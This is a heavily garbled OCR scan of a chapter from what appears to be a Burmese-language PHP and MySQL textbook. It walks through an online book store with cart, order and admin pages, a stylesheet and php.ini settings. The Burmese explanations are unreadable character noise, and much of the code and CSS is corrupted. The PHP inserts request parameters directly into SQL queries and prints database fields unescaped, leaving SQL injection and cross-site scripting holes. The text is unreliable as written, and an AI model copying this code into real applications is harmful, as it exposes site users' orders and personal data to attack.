923900050p092900 MINE: (mag $602 Ôc index.php y 6$:200:000:90 (95 
ol 01 index.php 026002 $5950 Project ©8[GE000295:0295690003000:3(8:[8deo0l1 oeo: q 
con index.php cool store Folder cogo oo0800p96s000960:0]i (8:96:60:000:03 Code 60303 
RRQ 0099996:60:0]i dedo) HTML Structure 02320 39909306 eq: (060:000:0lo»o5 
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«?php 
session start(); 
include ("admin/confs/config.php"); 


Scart = 0; 
if(isset($ SESSION['cart'])) { 
foreach($ SESSION['cart'] as $qty) í 

Seem += $qty; 








J 
} 





if(isset($ GET['cat'])) ( 
scat id = s (GEE Neat |; 
Sbooks = mysqli_query(Sconn, "SELECT * FROM books WHERE category_id = 
Seat ud); 
else { 
$books = mysqli query($conn, "SELECT * FROM books"); 
) 
































$cats = mysqli_query(Sconn, "SELECT * FROM categories"); 
2> 





<!doctype html> 
<html> 
<head> 
<title>Book Store</title> 
<link rel="stylesheet" href="css/style.css"> 
</head> 
<body> 
<hl>Book Store</h1> 


<div class="info"> 
<a href="view-cart.php"> 
(<?php echo $cart ?>) books in your cart 
</a> 
</div> 


<div class="sidebar"> 
<ul class="cats"> 


mE 
<b><a href="index.php">A11 Categories</a></b> 
< j 
<?php while($row = mysqli fetch assoc($cats)): ?> 
< a> 


<a href="index.php?cat=<?php echo Srow['id'] ?>"> 
<?php echo Srow['name'] ?> 
</a> 
als 
<?php endwhile; ?> 
</ul> 
</div> 
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<div class="main"> 
<ul class="books"> 


<?php while ($row = mysqli_fetch_assoc ($books)): ?> 

al 
<img src="admin/covers/<?php echo $row['cover'] ?>" height="150"> 
<b> 


<a href="book-detail.php?id=<?php echo Srow['id'] ?>"> 
<?php echo Srow['title'] ?> 
</a> 
</b> 


<i>$<?php echo $row['price'] ?></i> 


<a href="add-to-cart.php?id=<?php echo Srow['id'] ?>" 
class="add-to-cart">Add to Cart</a> 
</li> 
<?php endwhile; ?> 
</ul> 
</div> 


<div class="footer"> 
&copy; <?php echo date("Y") ?>. All right reserved. 
</div> 
</body> 
</html> 


Supermarket cogoeq::0050338l ogo5:coóəoor rdaleggé:andogp ecoolog:i c9q[6020903:60202 
eg:qjo5(8: (86:60226: (2960905) cop5:ooeco:àeocoocoo:[Š: Lasoe e0206022926g gi: gono 3 
co old oje Book Store gocops: dq coco eg:qj05{6: (6254(8s8cor2@ Order as 
c9sjeoeo?c996soo6qjo? oop?o96:e»(890lo»oóu Sc966s006qJ0$020 Shopping Cart esT ovol 
oo5ooQeg:ajo5 029239060909 Session ago wm o36:s003:000:8c90looo3i sle(ax2G 0000880: 
session start() Function o9eelo»ooo(sé: [šëoloooSu Database á|jošsooSoco2 390305 
config.php ANA: Include aseo: lovos 


IN ere : ` ° > IN o IN ` c ç Q9 
soo? coo3(8: cart Session oógoQes0? oG eg:qJO05000:02 00390326q$3209050? foreach Loop 
> ere IN . x 0 IN e IN 
& Loop osf: eqogmon Scart Variable ò 0099036:000:0100051 


index.php eo $259[00396609320:c9:0?e69(9e»[6925c9 asc Category sec9o9(p203 9.090205 
S: E0095: coo[oco:oo[eecloooSi 209 - URL Query String səesš cat=1 c3 loécosgé Category 
ID 1 à 03005086:205:000:0) 9039060909 eg:0909 ceo[oco:a|Cooooli aleje 6400500950690 
index.php AN Request eo cat 399098 Query String olo&coo 22000:9$630:000:0lo»o5i 238 














saefaseesg col pS: SELECT Query Paps: aó@jl:esk:ooo:oloooSi Query String go cat oloócoo 
qÊ oloécooo? Value š oóooo5goocoo:o> Query 033995:[0)92[g6[8: eoloGcoos$eo»? Fog nó 


320:09:090pe63(0 0 [ešoloooŠi 
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e ç 89 oco IN i ` ° e o ° 
Category Menu 00090903:c0:4CG32030 categories Table od qo5g@|]6eosoo 3əq||:3əeo:Goooo 


cops: 6009000 SELECT Query 05998 S:(80:902000:0l600:00 1 














ssa: «body» Element 32096:906q:200:000:0006090? eann Class go info c9 
0003903000:0) <div> səogC:oo CoMd§oudsurSeg:ajuScos:03 02390326«3202030? eeo: 3264 
` . oo c IN IN o . Q IN IN > . > 
$ Scart Variable 098050905 coo:olo»oSi Class N sidebar 092505905000:02 <div> I0 
> ° : c ç e o C IN IN s n co 
goo coo:o2 Category copo? Link afed: ASS ovos Link cozom index.php (uy 
DALTE IN o ° IN IN ç oc o 
Document) o9 [05024:000:0200? ooo9[ojolu slevou csommesomacep Category ID o» URL 
Query String 2200903005 eoo: cloos $505:8 Category Menu 0009 agsooloo ón 


Class o9 main c99003903000:0) <div> c5@o QRO: 009 6:03 Q030909e63(060:0lo»o5u 
c IN ° ç : > ç x` IN € ex . ° OC O ` 
səa|o5 390009390: 09:960 (900: Title $ cq:4$:0605(9000:600l00 01 003708), Title o» ¿00990 
Link [8963056 <a> Element š fooson ox-o5s0Cepeosegošasəoo Add to Cart $90? Link 
Ç 9 ` ` c IN e Q ç ç O IN Q x ° oc IN e 
0269805 o3009e0:000:0loo03! 9039009 gdooaScQousupcso3aee1 Add to Cart o9 $Óco:[ac:[9c 
ooS0pc9e[0206: eo5o5so:eləooli Add to Cart Link o» add-to-cart.php 09994:000:0lo»o3i add- 
to-cart.php go eg:qjo9c9030? 0039009 cart Session 0503 009$096:905000:60:03 cpdes006 


qjo3026q: 220:9o0li 


o Sos IN < ° € ¡US ES ° co < < < 
æo Code coo soadcondse6q:000:6 9960059 q lda: cog CSS Style cdg copgage: qjéol 
ç ceo ` . > ` ° 
on eme go Code go «link» Element š css Folder òm style.css 09 
° < < ° < € ç > ° 
$jo$eoo$cooi8: [dolos slo style.css go co:coo:o> CSS 6020209:026q:220:60:0u 
A IN IN X Q CN o c iN o < < < € 
index.php 3200006 osoeooo so [so:cos3ə6o Style 60203 oo@əlooo5: [o3)jooCooosooscoo:oloooŠii 


html { 
background: #34495E 
I 





` 


body í 
font-family: Arial, Helvetica, sans-serif; 
width: 900px; 
background: #e5e5e5; 
border: 4px solid #3498DB; 
margin: 20px auto; 


imus 
padding: 10px; 
font-size: 21px; 
background: #3498DB; 
Ina gas 
color: aia 
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Sod 


J 


color: #2980B9; 
text-decoration: none; 


a:hover { 


} 


color: #3498DB; 


Sino f 


) 


background: #2980B9; 
padding: 8px; 
text-align: right, 


«info a { 


} 


color: rast, 

font-size: 14px; 
text-decoration: none; 
border-bottom: lpx dotted #fff; 


-info a:hover { 


} 


border-bottom: 1px solid #fff; 


«Sidebar { 


} 


floaty: left, 
width: 240px; 


ats 


} 


list-style: none; 
padding: 07 


.Cats lia í 


} 


diisplay: illo els 

font- size: lo pa 

padding: 8px 15px; 
border-bottom: 1px solid #ddd; 


.cats li a:hover í 


} 


background: #efefef; 


-main { 


} 


Float right, 
Widths 66 0px; 
background: #fff; 
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.books { 
list-style: none; 
margins IDPA 
padding: 0; 
overflow: hidden; 


} 


spooks, uu 
width: 190px; 
text-align: center; 
height: 240px; 
float: Lert, 
margin: 20px 10px; 
font-size: U>5px; 


} 


-books b i 
display: block; 
margin: 5px 
font-weight: normal; 


} 


-books i { 
color: #E74C3C; 


} 





a ada- to- Carat a 
font-size: pss 
display: bilock; 
background: #1ABC9C; 
colors FELE, 
padding: 5px 0; 
margin: Spx 9039; 


a.del { 
color: #D35400; 


} 


.footer { 

clear: both; 

background: #95A5A6; 

coloc FERE; 

font-size: 13px; 

padding: 8px; 

text-align: center; 

border-top: lpx solid #7F8C8D; 
} 


.detail { 
padding: 20px; 
background: #fff; 
} 
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.detail .back { 
float: oie 
} 


.detail a.add-to-cart { 
Ina gamer 
width: 160px; 
text-align: center; 
padding: 10px 0; 

Jj 


table ( 
margin: 20px; 
border-spacing: 1px; 
background: #16A085; 
} 


ted f 
background: white; 
border-collapse: collapse; 
padding: 8px; 

} 


Ela 
color: white; 
padding: 8px; 
) 


.order-form { 
margin: 20px; 


) 


-Order form h2 { 
margin: 40px 0 10px 0; 
padding 00 5px 07, 
border-bottom: 1px solid #ddd; 
font-size: 18px; 
color: 4603922), 

} 


form label { 
display: loe 
margin-top: 10px; 
color: #5957 

} 


input[type-text], 
input[type-password], 
textarea, 
select ( 
font-family: Arial, Helvetica, sans-serif; 
border: 1px solid #ddd; 
padding: 6px; 
Width 300p xs; 
background: #fff; 
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textarea { 
height: 100px; 
} 


input [type=submit] { 
padding: 10px 24px; 
margin-right: 10px; 
) 


MS | 
background: #1ABC9C; 
colon: eri 
text-align: center; 
padding ipsc 
margin: 50px 20px; 

) 


¿ms a 

color: #eee; 

border-bottom: lpx dotted #fff; 
} 


label.error { 
colon: +900); 
Font =s tae bsp 
font- styles italic, 
margan- top: Slip 


J 


.search { 
margin-top: 20px; 
} 


.search input[type-text] { 
width: 180px; 
margin-left: 8px; 

} 


.search input [type=submit] { 
wd Sosa, 
height: 32px; 
cursor: Pointer; 
background: transparent url(../images/search.png) no-repeat center center; 
border: 0 none; 
padding: 0; 
margaina NOE SPA 


Q IN 


329c8 Browser URL Bar oo http://localhost/store/ god Son Sens © Q) geoon: 
2908 qf qQeseo(s$olo»o5i 
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Book Store 


(0) books in your cart 
All Categories — 
Data Science 
Programming 
Internet 


Interface Design 


Web Standards 


System Design Ubuntu Pocket Guide and Exploring Programming Introduction to Data 
Reference Language Architecture Sciences 


Networking $9.99 $49.99 $4.99 


2 Add to Cart Add to Cart Add to Cart 
Socuriy r to ° 


General 


@ 2013. All right reserved. 





È (9-02) Online Book Store - Shopping Cart Interface 


Category Menu o»es oo03sb6qp Category ¿ome 233 Category §0005a8603 90390609020 
c c € IN cere à Cs e e ° ° c 
eoS(peo: qo [ešoloooŠi somscoas (8: book-detail.php o 003906324J02320009320:09:0? coo 

` e e ç Oo )| IN e . 0 ç ç 1 ° e 
60:04 Oest 6q:205o:0leoói HTML somo 69000: 00p999C:60:0111 (8:96 <body> 
32096:9060:000:0) Code o? 69:000:60:0Í1 


<hl>Book Detail</h1> 


<?php 
include ("admin/confs/config.php"); 
Sel = E ed I ael qe 
$books = mysqli query($conn, "SELECT * FROM books WHER 
$row = mysqli fetch assoc($books); 
2> 








ES 














idi OI 








<div class="detail"> 
<a href="index.php" class="back">&laquo; Go Back</a> 


<img src="admin/covers/<?php echo Srow['cover'] ?>"> 
<h2><?php echo Srow['title'] ?></h2> 
<i>by <?php echo Srow['author'] ?></i>, 


<b>$<?php echo Srow['price'] ?></b> 


<p><?php echo Srow['summary'] ?></p> 
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<a href="add-to-cart.php?id=<?php echo Sid ?>" class="add-to-cart"> 
Add to Cart 
</a> 
</div> 
<div class="footer"> 
&copy; <?php echo date("Y") ?>. All right reserved. 
</div> 


y ` < x»: o 2 ° c oc C < S o IN 
Query String &32050lo6co20) id alot: DNA CANO 323|05320005qp: 0? gqoocoeo[o 
con:(ac: [sšoloooSi Add to Cart Link cooS:oy>eoscoooo2C:eo:coo:oloooSi <linx> Element š 

° Fo e. S S ce € ° < ° Ç x EN o > 

style.css o) cop5:áJo5soo5co:olli sonas: 005020902000:090202003906090? cart Session 
` oc SAN q < c 8 ç ` ° 
0690956:8009:02 QOC 0? add-to-cart.php q06q:220:0leo5u €0:000:0? Code o ap: 
0099996 :60:0]i 


«?php 
session start(); 
Sid = $ GET['id']; 
SESSION cari 








header ("location: index.php"); 
2 


eco:e(o326:00p9:0li URL Query String a2e$30lo6cooo? 02995 id Pq: cart Session oo? 
A RET ç Sis] ` JS zol ç 
copdazc:co:[ac: [900 NI cOPYD9C: 09329 Array 3268&000299C€:000:0lo»0ÀIl poeo - Book ID o» 


12 so[o20lg v 


MN S_s#ssroN['cart'][$id]++; 





EE: 00003390209 - 


i $ SESSION['cart'][12]++; 





ef ğa asoy: volons cart Session à Index 12 o9 (o) 03:30: 0903[8c:[g0olonuón eco 
oo Index 12 9000§8:c02 6s qé (9) 03:602090:@00l Index 12 $ees 660»? PHP oo Index 12 o? 
qio(s6: 029963000260: C909 Ó: (9) 020095256:60:250: 9ooli Book ID 12 0268005029 [036000 80 q6 


$ SESSION['cart'][12] eo 2 s80300§8:§ opo:eooo[eóoloooSi $505: 20050039009 000349 


N 





S UR AC x IN IN o : ` o < ç Sms n ç 
320 OWAN 328|0232C002Q[2:0? cart Session COG? DO: 9095:090;(86:[860 OD00 II 


easg opa: (8:8:03a00] index.php o? [o$o2o:9C:coo:oloooSi sage@g_http://localhost/store/ 
° ° e co € o ç ç ç e coc ° : M i M 
o? ogox(8: 903900094], S Seg: qo9[S6:32o: (56 06:006860]6n Class info c0:000:02 <div> cdgo 
¢ o e M IN ec c cofa ` o o e jl x° O e ` 
005028 eg:qjo$000:0) mad s05ad3969(805 oa coe[oco:esooch 33808 ec3(060:650) 
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c IN : c co oc o IN oco Ç ç O c . ° ° ç 
ag sas Link ord9[gdc3 óq $6c9o9eo9s9q6 view-cart.php R2: 29%: 
ooo:oloooàs view-cart.php pous geg: usono 00390eoq6:0? ([0$copo[o2029 $60) 
coÓesoocajo5o GAED: GO: [ešolooošii 60:000:03 Code 0209:096q:220: co:oli HTML 60902320 


so [00932 $eq:ooo:ec3(o co: col 0001 


<?php 
session_start (); 
if(!isset(S SESSION[*cart*1)) { 
header ("location: index.php"); 
exit (); 
) 





include ("admin/confs/config.php") ; 
De 


«!doctype html» 
«html» 
«head» 
<title>View Cart</title> 
<link rel="stylesheet" href="css/style.css"> 
</head> 
<body> 
<hl>View Cart</h1> 
<div class="sidebar"> 
suisses 
<li><a href="index.php">&laquo; Continue Shopping</a></1li> 
<li><a href="clear-cart.php" class="del">&times; Clear Cart</a></li> 
al 
</div> 


<div class="main"> 


<table> 

<= 
<th>Book Title</th> 
<th>Quantity</th> 
<th>Unit Price</th> 
<th>Price</th> 

E 

<?php 
Stotal = 0; 


foreach($ SESSION['cart'] as $id => Sqty): 

$result = mysqli query($conn, "SELECT title, price FROM books WHERE id=Sid"); 
$row = mysqli fetch assoc($result); 

stor all Sido pres sty: 





2 > 
<tr> 
<td><?php echo Srow['title'] ?></td> 
<td><?php echo $qty ?></td> 
«td»$«?php echo $row['price'] ?></td> 
<td>S<?php echo Srow['price'] * Sqty ?></td> 
ri 
<?php endforeach; ?> 
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ISPs 
«td colspan="3" align="right"><b>Total:</b></td> 
<td>$<?php echo $total; ?></td> 
E ic 
</table> 


<div class="order-form"> 
<h2>Order Now</h2> 
<form action="submit-order.php" method="post"> 
<label for="name">Your Name</label> 
<input type="text" name="name" id="name"> 








<label for="email">Email</label> 
<input type="text" name="email" id="email"> 





<label for="phone">Phone</label> 
<input type="text" name="phone" id="phone"> 





<label for="address">Address</label> 
<textarea name="address" id="address"></textarea> 





pr pr 
<input type="submit" value="Submit Order"> 
<a href="index.php">Continue Shopping</a> 
</form> 
</div> 
isla 


<div class="footer"> 
&copy; <?php echo date("Y") ?>. All right reserved. 
</div> 
</body> 
</html> 


00008:39:3069% cart Session cdga NIP 0$00603200 60906070 index.php o (94230: 
8 2005 eo$coo:oloooów <body> 3»096:0500 Class $ sidebar c90509909000:0? <div> 906002 
index.php 0% (2425»:$60 Continue Shopping «90? Link à æf oo30p86g:qjo5000:0) 
02375009 E203 (0$q09 Roa] yaéccos Clear Cart «20? Link 020095256:60:00o:0lo»o5u 


Class 08 main c9eo:c0o:0) <div> 320903 cart Session ÒG 905220:000:0232q|093200 096090? 
qo»: «table» odeve: cart Session o39090$220:000:00000 005020803 
903904 ID onfe 003908, Title à egag: ID 220): (0, qooco:coo:goloooSi consogoayjaogeg 
oeocpopcoo5: og038J03e99(960:000:0leo2:00091 «table» 4630203906009 Order Form 02690095: 


0099996:60:000: olooo3i pour, name, email, phone à address cogeo: eo: qgoolu 


q$eo3q003 94009 9 (q-oo) geoon 
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View Cart 


« Continue Shopping Book Title Quantity Unit Price 


x Clear Cart The Design of the UNIX Operating System | 1 
Ubuntu Pocket Guide and Reference 











Order Now 


Your Name 


Email 


Phone 


Address 


Submit Order Continue Shopping 


@ 2016. All right reserved. 





œ (q-co) Online Book Store - View Cart 


Order Form à action 99 submit-order.php o? 22§:000:01005 submit-order.php 390209 
dedo) Code e0266q:200:8 clear-cart .php 059060:000:0) Code eo20? 0:0099 296:60:0]i 


<?php 
session_start (); 
unset ($ SESSION['cart']); 
header ("location: index.php"); 
2> 





oo: co: eo: (30: [0S:90205olo: 1 cart Session RoS Saas: fedos so03c003(8: submit- 
order.php 9260100010? Code 603203 09:0968:220:60:0]i 
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«?php 
session start(); 
include ("admin/confs/config.php"); 


$name = $ POST['name']; 
Semail = $ POST['email']; 
$phone - $ POST['phone']; 
Saddress = $ POST['address']; 








mysqli query($conn, "INSERT INTO orders 
(m me er si hon adeste EET eese dades ero Celeste Cle e) 
VALUES ('Sname','Semail', 'Sphone','Saddress', 0, now(), now) "); 





Sorder id = mysqli insert id($conn); 
foreach($ SESSION['cart'] as $id => $qty) { 
mysqli query ($conn, "INSERT INTO order items 
(order id, book id, qty) VALUES (Sorder_id,$id,$qty) 


iy 











unset($ SESSION['cart']); 





<!doctype html» 
«html» 
«head» 
<title>Order Submitted</title> 
<link rel="stylesheet" href="css/style.css"> 
</head> 


<body> 
<hl>Order Submitted</h1> 


<div class="msg"> 
Your order has been submitted. We'll deliver the items soon. 
<a href="index.php" class="done">Book Store Home</a> 

</div> 





<div class="footer"> 
&copy; <?php echo date("Y") ?>. All right reserved. 
</div> 
</body> 
< hitri 





Order Form ore0:800003 390951 33:60:05! $:$ 086000308 orders Table ðo) INSERT Query š 
IN e o ers IN IN IN e ° ` : : : 
cop2o2C:eo:cooo[e G: [eëoloooŠši soc5coo5soo2: [b|ooo: 0? mysql insert id() Function 026002 
IN c e C, OS. > ° IN e 
mode œp: Record à, Auto Increment ID «$ qopeo:closadu alejas 
. ` co IN C, OS. ` ° c IN 
Sorder_id cgo co03$00902996:090209 Order e, ID Ses e»(s$olo»o5u 


esoo co cart Session da39g]0539000360208 Loop asô: order_items Table cooo 


IN <.0 IN Qn ° 


0o99996:60:c9030lo»03i 333090002296:032020990050902 003908, ID š gounchodsaeqga03050300 
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: ` Q cre ^ < € < < : : ` ° 
Session òmes esie» (s9(8: 030030099096: e03 Order ID meo $order id Variable òp es 
(ss: [sšoloooŠi 02§8:60303 o Table $02 0099996:60:(8: 650091 Order Submit coO(8:220:e(0226: 


Message o»$0?eo5[peo:olo»oóu 


03/$60230200936s00030902 Shopping Cart asean gops: sSogo:(S(e$olo»o5 903900094]. 
eg:qio5(8: Order g00708:00[mpicol8n 


7.7 - Online Book Store - Order Management 


ena: cs o»99ecooo? (8p? goa oleo: o2o03i Admin Interface go Order 0205 So 


3, 3, 


asesan ecopdazc:qeo:olo: t alejo admin Folder coo orders.php qo 60:000; 
Code o? 6q:000:60:01$: II 


<?php include ("confs/auth.php") ?> 


<!doctype html> 
<html> 
<head> 
<title>Order List</title> 
<link rel="stylesheet" href="css/style.css"> 
</head> 
<body> 





«hl»Order List</h1> 

<ul class="menu"> 
<li><a href="book-list.php">Manage Books</a></1li> 
<li><a href="cat-list.php">Manage Categories</a></1li> 
<li><a href="orders.php">Manage Orders</a></1li> 
<li><a href-"logout.php"»Logout«/a»«/li» 

</ul> 


<?php 

include ("confs/config.php"); 

Sorders = mysqli_query(S$conn, "SELECT * FROM orders"); 
p 











ult tass Orders i 
<?php while (forder = mysqli_fetch_assoc(Sorders)): ?> 
<?php if (Sorder['status']): ?> 
<li class="delivered"> 
<?php else: ?> 
<li> 
<?php endif; ?> 


<div class="order"> 
<b><?php echo $order['name'] ?></b> 
<i><?php echo $order['email'] ?></i> 
<span><?php echo Sorder['phone'] ?></span> 
<p><?php echo Sorder['address'] ?></p> 
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<?php if (Sorder['status']): ?> 
* <a href="order-status.php?id=<?php echo Sorder['id'] ?»&status-0"» 
Undo</a> 


<?php else: ?> 
* <a href="order-status.php?id=<?php echo Sorder['id'] ?>é&status=1"> 
Mark as Delivered</a> 
<?php endif; ?> 
</div> 
<div class="items"> 
<?php 
Sorder_id = Sorder['id']; 
Sitems = mysqli query($conn, "SELECT order items.*, books.title 
FROM order tems LERN JOIN books ON order items) book aid = Looks id 
WHERE order items.order id = Sorder id 


Dr 
































while ($item = mysqli_fetch_assoc(Sitems)): 
?» 


<b> 
<a href="../book-detail.php?id=<?php echo Sitem['book id'] ?>"> 
<?php echo Sitem['title'] ?> 
<a> 
(<?php echo Sitem['qty'] ?>) 
</b> 


<?php endwhile; ?> 


</div> 
«MET 


<?php endwhile; ?> 

















</ul> 
</body> 
</html> 
meola: macgamomoccenmécesns auth.php A Include coÓco:coo:oloooSi so0$coo3(8: 
Sq:9o 8SN pog autan: pap 0? da : 
orders Table cdeo§ego3 seqjo$secoo?eog0? SELECT Query &qo»(8: esLos 33808 
6039628 coo5$ Order S2005e8603 2:00 eog: SELECT Query 64009009094 











order items Table càooescoo5ooeeo[ocoo:oloooSi order items Table ð20 Book ID 02200 


p$: 086: soo5:coo:ooo[eóco vos ooslooo5:oloCcooce@ 390209 books Table à JOIN 

(8: qopeo3(pooo:(86: [eëoloooSi 

Order 026903 co:Q(8:e(8: sae(asaeg03 orders Table cdo status Column eo o0p296: 90322»: 

O Oe IN > co o € o ` c IN cre o c 

8 88 ooo:oloooài status $0049: 0 Hq eco:Qq6o»:0? Order s»(s99o30»eo(89(0: 1 ae con 

co:0(8: o> Order c9eo30peooli slef Order eo202 «1i» Element ¿905090303 39l status eol 
IN ° . Os ° Q Q Ç IN e ç Q ° 

Ema (8: delivered apo} Class Q c$3a046000$99€:60:990:6320€ 329006$:000:000:00002 

ooo9[(ojolu 
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| <?php if (Sorder['status']): ?> 
MÑ <li class="delivered"> 

<?php else: ?> 

I <li> 

BE <?php endif; ?> 


eo A ` < ofre ç x ` o ` ° NAN 

30) Class $860:000:02320205 60:8[8:(8603 Order eog e60:Qqe00:03 Order copo? oaox(o»:(go: 
< < ` oc c € fe ore < iN oco < 

(86220 esc CSS à 6q:220:86eoeo(s$0lo»ou (8:602 c0:Q(8:e 022€: q02200:&60320905 Mark as 

Delivered 3803 Link 026908 2203s96«p Order &22020360200092226:60:000:01e22:00 091 


<?php if (Sorder['status']): ?> 
* <a href="order-status.php?id=<?php echo Sorder['id'] ?>&status=0"> 


Undo 
|| </a> 
<?php else: ?> 
I * <a href="order-status.php?id=<?php echo Sorder['id'] ?>&status=1"> 
Mark as Delivered 
I </a> 
B <?php endif; ?> 


° o IN e > ç o ` S : Q x : > c 
309000299€:60:000:02320200 660:0€$625:02 Order cozgsa02 Mark as Delivered «20? Link 02605 
olo&eseo(s$(8: eo:9(6:(8902 Order eo292eo»? Undo «$0? Link o3603eo:e»(s$0loooS€ Link ¿09 

o o e S x c IN : IN IN 
(3:00 order-status.php O9 299:000:60:602 0260260:60? URL Query String meon 32409:c 05 
oxY9o:olo»o3u Mark as Delivered Link o» status=0 3803 0240:020200960:(0: Undo Link 92602? 
status=1 soo? 00§8:03 03005960:000:0 02051 oos: abog order-status.php 32020960:000: 


03 Code o? ag:apcop$o36:60:018 1 


«?php 
include ("confs/config.php"); 
Sail = E (elm o delV pe 
$status - $ GET['status']; 











mysqli query($conn, "UPDATE orders SET 
status-$status, modified date-now() WHERE id=Sid 


uy 














header("location: orders.php"); 
D> 


URL Query String &32050lo6co20) Order ID à Status aqu: orders Table à, status Column 
o? Update cooco:eo[(s$0lo»oóu 2099990 Admin s [e° Login o€(8: Order SfE: 06:006[a909 
eS soq 6 (9-3) eocoeo[ocoo:ooco eco [ecesqoo[eëeoloooSi 


Professional Web Developer - səəŠ: (q) PHP and MySQL JG» 





Order List 


Manage Books Manage Categories Manage Orders Logout 





John Smith Ubuntu Pocket Guide and Reference (1) 


Introduction to Data Sciences (1) 





James Doe Exploring Programming Language Architecture (2) 


james@example.com Ubuntu Pocket Guide and Reference (1) 
9859834752 








#432, 65 St, Some Town 


* Mark as Delivered 





© (9-3) Online Book Store - Managing Orders 


ç ç Oo c IN C O * : c ° ° : 
og|$coooone 90903 90m ccoo Online Book Store eo:0936079 9909: 0181 $980 Project 
c co o c IN co ° IN ° IN C C C IN IN 
00690028608 Arda, cooo $6$0le2»:0203 1 pos Form 60203 səa|oSzəcooošəš[eoše[eə 
Validate o9c0:8c90looo3i Cover Image ego) səc|esəesoo 096s0:(9: eqs Default Image 0009 
coeo[o gol oooSi oeosoócogo5Oqp:coooysəs] Screen à essea opoo àeo?(00? 
Paging 096 esooCajo5ceoo 0009296:60:2560lo»03i ©2395008a20$0209 amarrar Pao 

OC * c e c IN IN e 1 IN ° : e € 

qpeg4co? Search estae 00p229€:60:25C0loo ooi (8:602 Publisher o» 9905991 92096490 
Publish c95302051 ISBN No. eo>əəg|o5 32co03602, [egeo R q cop: Pongo: sol $0005 

Ç AO o € c ° : COC x c e c : o 
002(02568 s9«6600? 903506090? Star Rating co6&CoycoOesoocajo5cogi Review 6q:60:$602 
c e IN IN ç coc ;| IN e e c | IN oc e ç 
coÓesooca|jo5coocoo5: [eə5go58ColoooSi səCososo5ooes odlo: egeo:eqécecac [ee 


co: me Haico 390: 09: (8:(0056920:e»(890lo»o5 


/ 


3» 


yaa un 3 Online Book Store $930 Source Code o? http://eimaung.com/pwd-rc/ 9o Download qor8éol 
000511 320003 9oe[2230? [8999050996026 qj09609050» mo, 0»$9lo»05: [899903 000:60:0lo» o5 


Conclusion 

8a29$:90e55(0802$ 99009 PHP à MySQL Database $jo5«003(86:2220000? (86220628 39000086 

° ° ç e ° e M ç e e e e Ç O Ç @ >` > ° (> 

SO: Q:oC:e320C abm eA osf: [solon OC, 09|$6002026805:8024 94000 (sa: 

96: 306095600:320:$09:01620:00031 O64], 099 og copo: coóslooóelcoÓes q(8:3099:0 030900 
ç e € ° (a e ç c o c c ç ` O ° 

coo: [sŠesol GOD30005I ox (816q:320:60206:63226 na o9 (06 0620622 dana 3993: (09) Web 

App Security oo (sa8Qc5e05{Ge0:cle05u Ge: 86:0g603608300205 BA: qua MVC 

32e(0356:09 son 394: (oo) Model-View-Collection qo eeo[oco:o2o:eoo[eóoloooŠi 


E goos 

RS SS 
$88,038 opóspcgpiogó (00,000) od |g¢ 
ooSa28ScloopS sooSopoSaš - ca$eso:(S|Seoco 
(0g) go Wo Jg. (08) Jay GJE 200 
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3294: (e) PHP and Apache Settings 


URL Rewrite aÇ ga [so:o5o2[o|eo5oso:go5 Setting qp: 


Web App Project cooo Development š Production 388: səc[esocsa oq]: 3(02058c93560loo obi 
02030030590 6q:220:06:2006409 ooo:Qseo? Setting copa saqy:9005:(0|868 Release c9902sed]$ 
Server R$ MIL 0003903000: Q009 Setting coz 02099e09030lop: i 2009 - 69:000:08:00009300 
o> Warning cop Error 60303 dana (clon coco: BF mdulos Scone 32: PEYK) 
ausage: Gav [oC soc eeoocoo5: [Las Rigol slsoeoš 30q[:3225:(9|860:000:0? aga 333 
c2 Warning coo Error cop o? e8«po96:9oeo?(96s eos) 3205: (9|op320205 $053268005320209(89 
cogo ojeg: [9os55socoocooš: (S9eoT cooeoàColoooŠiI OR|$ 600502 69:000:00:000630> 
Development Setting Go232096: Production Server ço 9go:000:c9e«60090lop: t REPPER S5Cecoo 
esc Ə[so:oso5eo5coo:geo [souls 


XAMPP un ROMS: Development 8006602503 Setting 60303 0093036:60;(8:(gd0lo051 3] 
< c ç o9 < eo Os < c coc(^ec < < € 
e(o226 oq|Šcos5o2 saa9:[GEsoEGoc8d sa00Geq2000:06:0058E[3E;(GS0lo2051 slsoeo Development 
22903 M9pgua0: 0 XAMPP o? Production Server oo $32090:020:0):9]6 səsocc[Oeoeooc5oloq: 1 
970 Production 390305 Design coÓcoo:ooo 6050302320905 (gSolo051 RR Default Setting cog 
oc X ` í` 9 C9 c < < o_o EN ç > < ç 

39036:0000:0 Production šo%2o5e5esəoc [Géaoée0:8c$sedvlos05i Production 320305 səcoooc:89: 
meon Apache, PHP, MySQL NR oŠ: (50:6 Install osf: Setting coz Configuration 60303 
° ç OS o <Ç iN coc € e I-A iN 

0203096 32600:909 o209909$6 «66002 3260096:59:(89 9»olu 

0R|$60750390 ag XAMPP 2006 Install apdcos:(8:a00:ego3aa0g05 29925602 Setting à 
Configuration 60303 XAMPP colaci: con ce[oco:ooo:oleoŠi Apaceh, PHP š MySQL RR 
08: {50:6 Install asos Setting File ap:ooo59o Location opo» (90:290: e»(890lo»o5 8leoeoS 
Setting 20059056 2205905$09:602026002 3205020 [69 900li 
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8.1 - PHP Configuration File 

PHP à 005000509 Setting 60303 php.ini Aseo Configuration File 02998 gops: o: eaol 

001 XAMPP Windows gras php.ini mpeg C:\xampp\php\php. ini [ešoloooŠi 

XAMPP Linux ge |C cooo /opt/lampp/etc/php.ini [ešoloooŠi 353 php.ini 8603 Code 
: > e Cc O Ç c e oc o c IN 

Editor à ec(o299c909q6 6322030132096: 6q:220:000:0220? cogp,geo (89$0lo»o5u 


FOU s s.s s s) 
; About php.ini E 
Pirr EEES 


; PHP's initialization file, generally called php.ini, is responsible for 
; configuring many of the aspects of PHP's behavior. 





; Enable the PHP scripting language engine under Apache. 
; http://php.net/engine 
engine = On 


Default Value: On 

Development Value: Off 
Production Value: Off 

http: //php.net/short-open-tag 
short_open_tag = Off 


, 
, 
, 
, 


; Allow ASP-style «$ $> tags. 
; http://php.net/asp-tags 
asp tags - Off 


cy 9:0m Semi-colon ¿0000:03096:60309033/03607 [ešoloooŠi Setting saeg§00p9036: 32090090 

Sc] : OS RS ONES EUR TES AS LAS uus Sal 
qo edol: Setting cozà s289 508g 6:[G000:03 qé:coc:a|o5qp:š so [so:əc5a|o5ep:oso[ešo 
0051 Semi-colon ¿40d 6q:220:000:02c96:6090005o Setting o5o5əo5a|o5ceoo[eóoloooSi o»o9(g| 
ec9co0o0€0) Setting m0 eg:aJoSceo[oco:cooooloooSi 


PHP Short Open Tags 

short open tag = On 

ocoesó:eo?[0q|$020006009 short open tag Setting [əóoloooŠi 8 Setting s9020502§8:a9658 On 
